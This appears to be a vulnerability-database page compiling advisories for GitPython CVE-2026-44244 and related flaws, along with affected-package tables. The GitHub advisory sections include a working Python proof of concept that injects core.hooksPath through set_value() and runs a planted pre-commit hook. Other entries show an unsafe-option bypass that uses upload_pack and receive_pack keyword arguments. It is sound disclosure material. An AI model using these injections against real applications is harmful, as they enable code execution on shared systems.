Every CVE Search/ Get API key

CVE-2026-44244

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

7.8 HighFix available

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.24%Up 0.2 points since May 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.8

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-28414 7.8

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
EUVD-2026-28414
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-v87r-6q3f-2j67 7.8

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Record
GHSA-v87r-6q3f-2j67
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 7.8

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 7.8

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVDEBIAN-CVE-2026-44244 7.8

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
DEBIAN-CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 16 moreShow less
OSVGHSA-v87r-6q3f-2j67 7.8

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Record
GHSA-v87r-6q3f-2j67
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVOESA-2026-2306 8.8

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…
Record
OESA-2026-2306
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2026-2307 8.8

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…
Record
OESA-2026-2307
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2026-2308 8.8

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…
Record
OESA-2026-2308
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVPYSEC-2026-2163 7.8

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
PYSEC-2026-2163
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:42078 9.0

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:42078
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:42079 9.0

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:42079
CVSS 3.1
9.0 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:63385 8.8

Red Hat Security Advisory: Satellite 6.19.4 Async Update

Record
RHSA-2026:63385
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-44244 7.8

CVE-2026-44244 in GitPython - Patched by Root

Root has patched CVE-2026-44244 in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-44244 7.8

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Record
UBUNTU-CVE-2026-44244
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1784077474 No score

TuxCare security update for gitpython (1 CVE)

TuxCare rebuilt gitpython to address 1 CVE. Fixed in 3.1.31.post2+tuxcare.

Record
CLSA-2026-1784077474
Updated
2026-11-02
OSVopenSUSE-SU-2026:10758-1 No score

python311-GitPython-3.1.49-1.1 on GA media

These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10758-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:20777-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
Record
openSUSE-SU-2026:20777-1
Updated
2026-11-02
OSVSUSE-SU-2026:21813-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
Record
SUSE-SU-2026:21813-1
Updated
2026-11-02
OSVSUSE-SU-2026:4072-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
  • CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
  • CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
  • CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
  • CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
  • CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
  • CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
  • CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
  • CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
  • CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
  • CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
Record
SUSE-SU-2026:4072-1
Updated
2026-11-02
OSVUSN-8303-1 No score

python-git vulnerabilities

Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)

Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)

It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)

It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)

Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)

Record
USN-8303-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gitpython
PyPI
through 3.1.48
3.1.49
gitpython
TuxCare:PyPI
3.1.31 up to 3.1.31.post2+tuxcare, plus listed versions
3.1.31.post1+tuxcare
3.1.31.post2+tuxcare
python-git
Debian:12
before 3.1.30-1+deb12u3, plus listed versions
3.1.30-13.1.30-1+deb12u2
3.1.30-1+deb12u3
python-git
Debian:13
before 3.1.44-1+deb13u1, plus listed versions
3.1.44-1
3.1.44-1+deb13u1
python-git
Debian:14
before 3.1.50-1, plus listed versions
3.1.44-13.1.45-13.1.46-1
3.1.50-1
gitpython
PyPI
before 3.1.49, plus listed versions
0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2
Show 45 moreShow less
0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5
3.1.49
python-GitPython
openEuler:24.03-LTS
From an advisory covering 3 CVEs
before 3.1.49-1.oe2403
3.1.49-1.oe2403
python-GitPython
openEuler:24.03-LTS-SP1
From an advisory covering 3 CVEs
before 3.1.49-1.oe2403sp1
3.1.49-1.oe2403sp1
python-GitPython
openEuler:24.03-LTS-SP3
From an advisory covering 3 CVEs
before 3.1.49-1.oe2403sp3
3.1.49-1.oe2403sp3
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el8ap
0:2.5.20260715-1.el8ap
Show 143 moreShow less
Affected packages
PackageAffectedFixed
automation-gateway-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el9ap
0:2.5.20260715-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
ansible-core
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 1:2.16.19-1.el8ap
1:2.16.19-1.el8ap
ansible-core
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 25 CVEs
before 1:2.16.19-1.el8ap
1:2.16.19-1.el8ap
ansible-core
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 1:2.16.19-1.el8ap
1:2.16.19-1.el8ap
ansible-core
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
ansible-core
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 25 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
ansible-core
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 1:2.16.19-1.el9ap
